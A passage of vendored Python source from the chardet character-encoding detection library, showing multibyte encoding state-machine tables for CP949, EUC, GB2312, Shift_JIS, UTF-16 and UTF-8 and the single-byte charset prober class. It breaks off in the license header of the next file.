8 9 # previous state = MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START, 4, 5,MachineState.ERROR, 6, # MachineState.START MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, # MachineState.ERROR MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME, # MachineState.ITS_ME MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 3 MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 4 MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 5 MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 6 ) CP949_CHAR_LEN_TABLE = (0, 1, 2, 0, 1, 1, 2, 2, 0, 2) CP949_SM_MODEL = {'class_table': CP949_CLS, 'class_factor': 10, 'state_table': CP949_ST, 'char_len_table': CP949_CHAR_LEN_TABLE, 'name': 'CP949'} # EUC-JP EUCJP_CLS = ( 4,4,4,4,4,4,4,4, # 00 - 07 4,4,4,4,4,4,5,5, # 08 - 0f 4,4,4,4,4,4,4,4, # 10 - 17 4,4,4,5,4,4,4,4, # 18 - 1f 4,4,4,4,4,4,4,4, # 20 - 27 4,4,4,4,4,4,4,4, # 28 - 2f 4,4,4,4,4,4,4,4, # 30 - 37 4,4,4,4,4,4,4,4, # 38 - 3f 4,4,4,4,4,4,4,4, # 40 - 47 4,4,4,4,4,4,4,4, # 48 - 4f 4,4,4,4,4,4,4,4, # 50 - 57 4,4,4,4,4,4,4,4, # 58 - 5f 4,4,4,4,4,4,4,4, # 60 - 67 4,4,4,4,4,4,4,4, # 68 - 6f 4,4,4,4,4,4,4,4, # 70 - 77 4,4,4,4,4,4,4,4, # 78 - 7f 5,5,5,5,5,5,5,5, # 80 - 87 5,5,5,5,5,5,1,3, # 88 - 8f 5,5,5,5,5,5,5,5, # 90 - 97 5,5,5,5,5,5,5,5, # 98 - 9f 5,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 0,0,0,0,0,0,0,0, # e0 - e7 0,0,0,0,0,0,0,0, # e8 - ef 0,0,0,0,0,0,0,0, # f0 - f7 0,0,0,0,0,0,0,5 # f8 - ff ) EUCJP_ST = ( 3, 4, 3, 5,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f MachineState.ITS_ME,MachineState.ITS_ME,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 3,MachineState.ERROR,#18-1f 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START#20-27 ) EUCJP_CHAR_LEN_TABLE = (2, 2, 2, 3, 1, 0) EUCJP_SM_MODEL = {'class_table': EUCJP_CLS, 'class_factor': 6, 'state_table': EUCJP_ST, 'char_len_table': EUCJP_CHAR_LEN_TABLE, 'name': 'EUC-JP'} # EUC-KR EUCKR_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 1,1,1,1,1,1,1,1, # 40 - 47 1,1,1,1,1,1,1,1, # 48 - 4f 1,1,1,1,1,1,1,1, # 50 - 57 1,1,1,1,1,1,1,1, # 58 - 5f 1,1,1,1,1,1,1,1, # 60 - 67 1,1,1,1,1,1,1,1, # 68 - 6f 1,1,1,1,1,1,1,1, # 70 - 77 1,1,1,1,1,1,1,1, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,0,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,3,3,3, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,3,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,0 # f8 - ff ) EUCKR_ST = ( MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #08-0f ) EUCKR_CHAR_LEN_TABLE = (0, 1, 2, 0) EUCKR_SM_MODEL = {'class_table': EUCKR_CLS, 'class_factor': 4, 'state_table': EUCKR_ST, 'char_len_table': EUCKR_CHAR_LEN_TABLE, 'name': 'EUC-KR'} # EUC-TW EUCTW_CLS = ( 2,2,2,2,2,2,2,2, # 00 - 07 2,2,2,2,2,2,0,0, # 08 - 0f 2,2,2,2,2,2,2,2, # 10 - 17 2,2,2,0,2,2,2,2, # 18 - 1f 2,2,2,2,2,2,2,2, # 20 - 27 2,2,2,2,2,2,2,2, # 28 - 2f 2,2,2,2,2,2,2,2, # 30 - 37 2,2,2,2,2,2,2,2, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,2, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,6,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,3,4,4,4,4,4,4, # a0 - a7 5,5,1,1,1,1,1,1, # a8 - af 1,1,1,1,1,1,1,1, # b0 - b7 1,1,1,1,1,1,1,1, # b8 - bf 1,1,3,1,3,3,3,3, # c0 - c7 3,3,3,3,3,3,3,3, # c8 - cf 3,3,3,3,3,3,3,3, # d0 - d7 3,3,3,3,3,3,3,3, # d8 - df 3,3,3,3,3,3,3,3, # e0 - e7 3,3,3,3,3,3,3,3, # e8 - ef 3,3,3,3,3,3,3,3, # f0 - f7 3,3,3,3,3,3,3,0 # f8 - ff ) EUCTW_ST = ( MachineState.ERROR,MachineState.ERROR,MachineState.START, 3, 3, 3, 4,MachineState.ERROR,#00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.ERROR,#10-17 MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,#20-27 MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f ) EUCTW_CHAR_LEN_TABLE = (0, 0, 1, 2, 2, 2, 3) EUCTW_SM_MODEL = {'class_table': EUCTW_CLS, 'class_factor': 7, 'state_table': EUCTW_ST, 'char_len_table': EUCTW_CHAR_LEN_TABLE, 'name': 'x-euc-tw'} # GB2312 GB2312_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 3,3,3,3,3,3,3,3, # 30 - 37 3,3,1,1,1,1,1,1, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,4, # 78 - 7f 5,6,6,6,6,6,6,6, # 80 - 87 6,6,6,6,6,6,6,6, # 88 - 8f 6,6,6,6,6,6,6,6, # 90 - 97 6,6,6,6,6,6,6,6, # 98 - 9f 6,6,6,6,6,6,6,6, # a0 - a7 6,6,6,6,6,6,6,6, # a8 - af 6,6,6,6,6,6,6,6, # b0 - b7 6,6,6,6,6,6,6,6, # b8 - bf 6,6,6,6,6,6,6,6, # c0 - c7 6,6,6,6,6,6,6,6, # c8 - cf 6,6,6,6,6,6,6,6, # d0 - d7 6,6,6,6,6,6,6,6, # d8 - df 6,6,6,6,6,6,6,6, # e0 - e7 6,6,6,6,6,6,6,6, # e8 - ef 6,6,6,6,6,6,6,6, # f0 - f7 6,6,6,6,6,6,6,0 # f8 - ff ) GB2312_ST = ( MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, 3,MachineState.ERROR,#00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,#10-17 4,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#20-27 MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f ) # To be accurate, the length of class 6 can be either 2 or 4. # But it is not necessary to discriminate between the two since # it is used for frequency analysis only, and we are validating # each code range there as well. So it is safe to set it to be # 2 here. GB2312_CHAR_LEN_TABLE = (0, 1, 1, 1, 1, 1, 2) GB2312_SM_MODEL = {'class_table': GB2312_CLS, 'class_factor': 7, 'state_table': GB2312_ST, 'char_len_table': GB2312_CHAR_LEN_TABLE, 'name': 'GB2312'} # Shift_JIS SJIS_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 2,2,2,2,2,2,2,2, # 40 - 47 2,2,2,2,2,2,2,2, # 48 - 4f 2,2,2,2,2,2,2,2, # 50 - 57 2,2,2,2,2,2,2,2, # 58 - 5f 2,2,2,2,2,2,2,2, # 60 - 67 2,2,2,2,2,2,2,2, # 68 - 6f 2,2,2,2,2,2,2,2, # 70 - 77 2,2,2,2,2,2,2,1, # 78 - 7f 3,3,3,3,3,2,2,3, # 80 - 87 3,3,3,3,3,3,3,3, # 88 - 8f 3,3,3,3,3,3,3,3, # 90 - 97 3,3,3,3,3,3,3,3, # 98 - 9f #0xa0 is illegal in sjis encoding, but some pages does #contain such byte. We need to be more error forgiven. 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 3,3,3,3,3,3,3,3, # e0 - e7 3,3,3,3,3,4,4,4, # e8 - ef 3,3,3,3,3,3,3,3, # f0 - f7 3,3,3,3,3,0,0,0) # f8 - ff SJIS_ST = ( MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START #10-17 ) SJIS_CHAR_LEN_TABLE = (0, 1, 1, 2, 0, 0) SJIS_SM_MODEL = {'class_table': SJIS_CLS, 'class_factor': 6, 'state_table': SJIS_ST, 'char_len_table': SJIS_CHAR_LEN_TABLE, 'name': 'Shift_JIS'} # UCS2-BE UCS2BE_CLS = ( 0,0,0,0,0,0,0,0, # 00 - 07 0,0,1,0,0,2,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,3,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,3,3,3,3,3,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,0,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,0,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,0,0,0,0,0,0,0, # a0 - a7 0,0,0,0,0,0,0,0, # a8 - af 0,0,0,0,0,0,0,0, # b0 - b7 0,0,0,0,0,0,0,0, # b8 - bf 0,0,0,0,0,0,0,0, # c0 - c7 0,0,0,0,0,0,0,0, # c8 - cf 0,0,0,0,0,0,0,0, # d0 - d7 0,0,0,0,0,0,0,0, # d8 - df 0,0,0,0,0,0,0,0, # e0 - e7 0,0,0,0,0,0,0,0, # e8 - ef 0,0,0,0,0,0,0,0, # f0 - f7 0,0,0,0,0,0,4,5 # f8 - ff ) UCS2BE_ST = ( 5, 7, 7,MachineState.ERROR, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f MachineState.ITS_ME,MachineState.ITS_ME, 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,#10-17 6, 6, 6, 6, 6,MachineState.ITS_ME, 6, 6,#18-1f 6, 6, 6, 6, 5, 7, 7,MachineState.ERROR,#20-27 5, 8, 6, 6,MachineState.ERROR, 6, 6, 6,#28-2f 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #30-37 ) UCS2BE_CHAR_LEN_TABLE = (2, 2, 2, 0, 2, 2) UCS2BE_SM_MODEL = {'class_table': UCS2BE_CLS, 'class_factor': 6, 'state_table': UCS2BE_ST, 'char_len_table': UCS2BE_CHAR_LEN_TABLE, 'name': 'UTF-16BE'} # UCS2-LE UCS2LE_CLS = ( 0,0,0,0,0,0,0,0, # 00 - 07 0,0,1,0,0,2,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,3,0,0,0,0, # 18 - 1f 0,0,0,0,0,0,0,0, # 20 - 27 0,3,3,3,3,3,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,0,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 0,0,0,0,0,0,0,0, # 80 - 87 0,0,0,0,0,0,0,0, # 88 - 8f 0,0,0,0,0,0,0,0, # 90 - 97 0,0,0,0,0,0,0,0, # 98 - 9f 0,0,0,0,0,0,0,0, # a0 - a7 0,0,0,0,0,0,0,0, # a8 - af 0,0,0,0,0,0,0,0, # b0 - b7 0,0,0,0,0,0,0,0, # b8 - bf 0,0,0,0,0,0,0,0, # c0 - c7 0,0,0,0,0,0,0,0, # c8 - cf 0,0,0,0,0,0,0,0, # d0 - d7 0,0,0,0,0,0,0,0, # d8 - df 0,0,0,0,0,0,0,0, # e0 - e7 0,0,0,0,0,0,0,0, # e8 - ef 0,0,0,0,0,0,0,0, # f0 - f7 0,0,0,0,0,0,4,5 # f8 - ff ) UCS2LE_ST = ( 6, 6, 7, 6, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f MachineState.ITS_ME,MachineState.ITS_ME, 5, 5, 5,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#10-17 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR, 6, 6,#18-1f 7, 6, 8, 8, 5, 5, 5,MachineState.ERROR,#20-27 5, 5, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5,#28-2f 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR,MachineState.START,MachineState.START #30-37 ) UCS2LE_CHAR_LEN_TABLE = (2, 2, 2, 2, 2, 2) UCS2LE_SM_MODEL = {'class_table': UCS2LE_CLS, 'class_factor': 6, 'state_table': UCS2LE_ST, 'char_len_table': UCS2LE_CHAR_LEN_TABLE, 'name': 'UTF-16LE'} # UTF-8 UTF8_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 1,1,1,0,1,1,1,1, # 18 - 1f 1,1,1,1,1,1,1,1, # 20 - 27 1,1,1,1,1,1,1,1, # 28 - 2f 1,1,1,1,1,1,1,1, # 30 - 37 1,1,1,1,1,1,1,1, # 38 - 3f 1,1,1,1,1,1,1,1, # 40 - 47 1,1,1,1,1,1,1,1, # 48 - 4f 1,1,1,1,1,1,1,1, # 50 - 57 1,1,1,1,1,1,1,1, # 58 - 5f 1,1,1,1,1,1,1,1, # 60 - 67 1,1,1,1,1,1,1,1, # 68 - 6f 1,1,1,1,1,1,1,1, # 70 - 77 1,1,1,1,1,1,1,1, # 78 - 7f 2,2,2,2,3,3,3,3, # 80 - 87 4,4,4,4,4,4,4,4, # 88 - 8f 4,4,4,4,4,4,4,4, # 90 - 97 4,4,4,4,4,4,4,4, # 98 - 9f 5,5,5,5,5,5,5,5, # a0 - a7 5,5,5,5,5,5,5,5, # a8 - af 5,5,5,5,5,5,5,5, # b0 - b7 5,5,5,5,5,5,5,5, # b8 - bf 0,0,6,6,6,6,6,6, # c0 - c7 6,6,6,6,6,6,6,6, # c8 - cf 6,6,6,6,6,6,6,6, # d0 - d7 6,6,6,6,6,6,6,6, # d8 - df 7,8,8,8,8,8,8,8, # e0 - e7 8,8,8,8,8,9,8,8, # e8 - ef 10,11,11,11,11,11,11,11, # f0 - f7 12,13,13,13,14,15,0,0 # f8 - ff ) UTF8_ST = ( MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12, 10,#00-07 9, 11, 8, 7, 6, 5, 4, 3,#08-0f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#20-27 MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#28-2f MachineState.ERROR,MachineState.ERROR, 5, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#30-37 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#38-3f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#40-47 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#48-4f MachineState.ERROR,MachineState.ERROR, 7, 7, 7, 7,MachineState.ERROR,MachineState.ERROR,#50-57 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#58-5f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 7, 7,MachineState.ERROR,MachineState.ERROR,#60-67 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#68-6f MachineState.ERROR,MachineState.ERROR, 9, 9, 9, 9,MachineState.ERROR,MachineState.ERROR,#70-77 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#78-7f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 9,MachineState.ERROR,MachineState.ERROR,#80-87 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#88-8f MachineState.ERROR,MachineState.ERROR, 12, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,#90-97 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#98-9f MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12,MachineState.ERROR,MachineState.ERROR,#a0-a7 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#a8-af MachineState.ERROR,MachineState.ERROR, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b0-b7 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b8-bf MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,#c0-c7 MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR #c8-cf ) UTF8_CHAR_LEN_TABLE = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) UTF8_SM_MODEL = {'class_table': UTF8_CLS, 'class_factor': 16, 'state_table': UTF8_ST, 'char_len_table': UTF8_CHAR_LEN_TABLE, 'name': 'UTF-8'} ================================================ FILE: thirdparty/chardet/sbcharsetprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .enums import CharacterCategory, ProbingState, SequenceLikelihood class SingleByteCharSetProber(CharSetProber): SAMPLE_SIZE = 64 SB_ENOUGH_REL_THRESHOLD = 1024 # 0.25 * SAMPLE_SIZE^2 POSITIVE_SHORTCUT_THRESHOLD = 0.95 NEGATIVE_SHORTCUT_THRESHOLD = 0.05 def __init__(self, model, reversed=False, name_prober=None): super(SingleByteCharSetProber, self).__init__() self._model = model # TRUE if we need to reverse every pair in the model lookup self._reversed = reversed # Optional auxiliary prober for name decision self._name_prober = name_prober self._last_order = None self._seq_counters = None self._total_seqs = None self._total_char = None self._freq_char = None self.reset() def reset(self): super(SingleByteCharSetProber, self).reset() # char order of last character self._last_order = 255 self._seq_counters = [0] * SequenceLikelihood.get_num_categories() self._total_seqs = 0 self._total_char = 0 # characters that fall in our sampling range self._freq_char = 0 @property def charset_name(self): if self._name_prober: return self._name_prober.charset_name else: return self._model['charset_name'] @property def language(self): if self._name_prober: return self._name_prober.language else: return self._model.get('language') def feed(self, byte_str): if not self._model['keep_english_letter']: byte_str = self.filter_international_words(byte_str) if not byte_str: return self.state char_to_order_map = self._model['char_to_order_map'] for i, c in enumerate(byte_str): # XXX: Order is in range 1-64, so one would think we want 0-63 here, # but that leads to 27 more test failures than before. order = char_to_order_map[c] # XXX: This was SYMBOL_CAT_ORDER before, with a value of 250, but # CharacterCategory.SYMBOL is actually 253, so we use CONTROL # to make it closer to the original intent. The only difference # is whether or not we count digits and control characters for # _total_char purposes. if order < CharacterCategory.CONTROL: self._total_char += 1 if order < self.SAMPLE_SIZE: self._freq_char += 1 if self._last_order < self.SAMPLE_SIZE: self._total_seqs += 1 if not self._reversed: i = (self._last_order * self.SAMPLE_SIZE) + order model = self._model['precedence_matrix'][i] else: # reverse the order of the letters in the lookup i = (order * self.SAMPLE_SIZE) + self._last_order model = self._model['precedence_matrix'][i] self._seq_counters[model] += 1 self._last_order = order charset_name = self._model['charset_name'] if self.state == ProbingState.DETECTING: if self._total_seqs > self.SB_ENOUGH_REL_THRESHOLD: confidence = self.get_confidence() if confidence > self.POSITIVE_SHORTCUT_THRESHOLD: self.logger.debug('%s confidence = %s, we have a winner', charset_name, confidence) self._state = ProbingState.FOUND_IT elif confidence < self.NEGATIVE_SHORTCUT_THRESHOLD: self.logger.debug('%s confidence = %s, below negative ' 'shortcut threshhold %s', charset_name, confidence, self.NEGATIVE_SHORTCUT_THRESHOLD) self._state = ProbingState.NOT_ME return self.state def get_confidence(self): r = 0.01 if self._total_seqs > 0: r = ((1.0 * self._seq_counters[SequenceLikelihood.POSITIVE]) / self._total_seqs / self._model['typical_positive_ratio']) r = r * self._freq_char / self._total_char if r >= 1.0: r = 0.99 return r ================================================ FILE: thirdparty/chardet/sbcsgroupprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the 